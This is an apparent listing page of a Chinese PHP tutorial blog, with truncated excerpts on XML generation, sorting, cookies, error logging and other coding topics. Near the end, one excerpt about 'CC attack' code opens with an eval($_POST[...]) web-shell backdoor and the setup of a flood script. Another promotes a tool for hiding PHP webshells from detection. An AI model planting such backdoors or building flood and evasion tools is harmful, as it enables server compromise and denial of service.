php技术

php技术

PHP超级全局变量数组小结

阅读(11) 作者(admin)

php超级全局变量列表

$_GET[] 获得以GET方法提交的变量数组

$_POST[] 获得以POST方法提交的变量数组

$_COOKIE[] 获取和设置当前网站的Cookie标识

$_SESSION[] 取得当前用户访问的唯一标识,以数组形式体现,如se...

php技术

PHP中的生成XML文件的4种方法分享

阅读(18) 作者(admin)

生成如下XML串 Xml代码复制代码 代码如下:<?xml version="1.0" encoding="utf-8"?><article> <item> <title size="1">title1</title> <content>content1</content> <pubdate>2009-1...

php技术

PHP实现提取一个图像文件并在浏览器上显示的代码

阅读(17) 作者(admin)

去年做过一个项目,要把用户上传的图像文件列出文字清单,当用户点击一个文件名后,就可以显示这个图像.

因为要考虑兼容各种不同的图像格式, 我使用了GD库, 判断出具体是那种图像文件(MINE),再调用相应的image生成函...

php技术

PHP中3种生成XML文件方法的速度效率比较

阅读(20) 作者(admin)

PHP中3种生成XML文件方法的速度比较 有3种方法,分别是直接写;使用DomDocument;使用SimpleXML;其实还有第4种:使用XMLWriter,不过我没用过,也懒得试了.主要是想看看这3种方式哪个速度要快些直接上代码:

复制代码 代码...

php技术

PHP面向对象学习笔记之一 基础概念

阅读(18) 作者(admin)

1> if( "false" ) 等效于 if( true), 因为非空字符串是true 2> 检查数据类型: is_array(); is_object(); is_string(); is_null(); is_integer(); 3> PHP5 引入类的类型提示(type hint),用来约束一个方法的参数类型(...

php技术

php生成局部唯一识别码LUID的代码

阅读(20) 作者(admin)

UUID(Universally Unique Identifier),GUID都是希望在整个时空范围内能产生唯一识别码,这在分布式计算环境下是必要的. 然而,如果仅仅是想在一个受限定的局部环境下,想生成一个"局部唯一识别码",使用UUID就是杀鸡用牛...

php技术

php随机输出名人名言的代码

阅读(25) 作者(admin)

那么这个随机名人名言的功能是如何实现的呢?

其实很简单,只需要一个字符串变量,这里面放所有要随机展现的名人名言,然后用到explode函数分解成数组,再用rand随机数生成一个值,输出这个数组中的某一句。

直接上代码: says...

PHP面向对象学习笔记之二 生成对象的设计模式
php技术

PHP面向对象学习笔记之二 生成对象的设计模式

阅读(13) 作者(admin)

一. 单例模式(Singleton) 如果应用程序每次包含且仅包含一个对象,那么这个对象就是一单例. 用来替代全局变量. 复制代码 代码如下: <?php require_once("DB.php"); class DatabaseConnection{ <STRONG><SPAN style="CO...

php技术

解析百度搜索结果link?url=参数分析 (全)

阅读(23) 作者(admin)

前几天写过一篇可以获取到百度跳转之后的网址的文章,在百度了一下,有人也研究过百度link?url=的。

大概得出如下结果:

1、加密方式根据:随机+输入停留时间+快照地址进行加密 2、整个代码中应该有三个部分:1、搜索词的时...

仿Aspnetpager的一个PHP分页类代码 附源码下载
php技术

仿Aspnetpager的一个PHP分页类代码 附源码下载

阅读(17) 作者(admin)

基本逻辑思路和.net的一样,就是将通过实体类来进行配置换成了通过数组进行配置,逻辑比较简单,根据条件判断拼接分页html。

有以下几个简单的功能:

1:支持相关按钮的显示与否配置 2:支持每页数目,文本名称,html标签类名称...

php技术

php全排列递归算法代码

阅读(25) 作者(admin)

算法原理如果用P表示n个元素的全排列,而Pi表示n个元素中不包含元素i的全排列,(i)Pi表示在排列Pi前面加上前缀i的排列,那么n个元素的全排列可递归定义为: ① 如果n=1,则排列P只有一个元素i; ② 如果n>1,则全排列P由排列...

php技术

php列出一个目录下的所有文件的代码

阅读(25) 作者(admin)

复制代码 代码如下: <?php function dir_path($path) { $path = str_replace('//', '/', $path); if (substr($path, -1) != '/') $path = $path . '/'; return $path; } /** * 列出目录下的所有文件 * * @param str...

php在程序中将网页生成word文档并提供下载的代码
php技术

php在程序中将网页生成word文档并提供下载的代码

阅读(20) 作者(admin)

在这篇文章中主要解决两个问题:

1:在php中如何把html中的内容生成到word文档中 2:php把html中的内容生成到word文档中时,不居中显示问题,即会默认按照web视图进行显示。 3:php把html中的内容生成到word文档中时,相关样式不...

php技术

php排序算法(冒泡排序,快速排序)

阅读(15) 作者(admin)

冒泡排序实现原理① 首先将所有待排序的数字放入工作列表中。② 从列表的第一个数字到倒数第二个数字,逐个检查:若某一位上的数字大于他的下一位,则将它与它的下一位交换。③ 重复步骤②,直至再也不能交换。代码实现复制...

域名和cookie问题(域名后缀)
php技术

域名和cookie问题(域名后缀)

阅读(15) 作者(admin)

域名和cookie 偶然想到一个问题:www.g.cn能把cookie设置为.g.cn,那么www.com.cn能设置把cookie设置为.com.cn吗?

试验结果:不能。因为浏览器知道www.com.cn的后缀是.com.cn而不是.cn,所以禁止设置cookie。 因为浏览器内...

php技术

记录PHP错误日志 display_errors与log_errors的区别

阅读(12) 作者(admin)

display_errors 错误回显,一般常用语开发模式,但是很多应用在正式环境中也忘记了关闭此选项。错误回显可以暴露出非常多的敏感信息,为攻击者下一步攻击提供便利。推荐关闭此选项。 display_errors = On 开启状态下,若出现...

php技术

PHP获取文件后缀名的三个函数

阅读(19) 作者(admin)

选好一种记住,以后需要使用的时候就可以直接使用,或者来本站查看本文也是可以滴。 复制代码 代码如下: <?php //方法一: function extend_1($file_name) { $retval=""; $pt=strrpos($file_name, "."); if ($pt) $retval...

php技术

php标签云的实现代码

阅读(25) 作者(admin)

数据库中,存放文章的表中有“Tag”字段,用来存放标签。标签之间用“,”分隔。比如“PHP,VB,随笔”。 下面的实现代码,将标签从数据库中搜出来,并格式化处理,使其以出现的次数为依据显示出不同大小的文字连接。 其中的细节,...

php技术

php模板函数 正则实现代码

阅读(13) 作者(admin)

我看过phpcms、discuz的源码,所以可能就缺乏创新了,不过原理大都相通,只是细节处理可能稍微不同。 说正题,下面开始谈谈具体实现过程了。 1.首先要想好模板文件放在哪?转换后的php文件放哪?还有怎么命名?直接上源码: 复制代码...

php技术

php mssql扩展SQL查询中文字段名解决方法

阅读(10) 作者(admin)

一、问题:

数据库是MS SQLServer2000,要把SQLServer2000里的一张表的数据导入MySQL5,其中SQLServer2000表的字段以简体中文命名(强烈建议不要以中文做为字段名)。其实操作就是对SQLServer查询记录,插入到MySQL里。选择...

php技术

PHP中替换换行符的几种方法小结

阅读(29) 作者(admin)

第一种:复制代码 代码如下: <?php ?$str="this is a test /n"; $patten = array("/r/n", "/n", "/r"); ?//先替换掉/r/n,然后是否存在/n,最后替换/r $str=str_replace($order, "", $str); ?> //php 有三种方法来解决...

php技术

php变量范围介绍

阅读(13) 作者(admin)

例如: 复制代码 代码如下: <?php $a = 1; include 'b.inc'; ?> 这里变量 $a 将会在包含文件 b.inc 中生效。但是,在用户自定义函数中,一个局部函数范围将被引入。任何用于函数内部的变量按缺省情况将被限制在局部函数范...

php技术

php cc攻击代码与防范方法

阅读(16) 作者(admin)

cc攻击代码,支持udp复制代码 代码如下: <?php eval($_POST[Chr(90)]); set_time_limit(86400); ignore_user_abort(True); $packets = 0; $http = $_GET['http']; $rand = $_GET['exit']; $exec_time = $_GET['time'];...

php技术

php shell超强免杀、减少体积工具实现代码

阅读(23) 作者(admin)

lostwolf写的 这不是webshell,只是个webshell免杀工具 切勿当初webshell使用 仅限免杀phpwebshell 该工具运行在 cli 模式! 如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马! 任意php webshell 通过此工具编...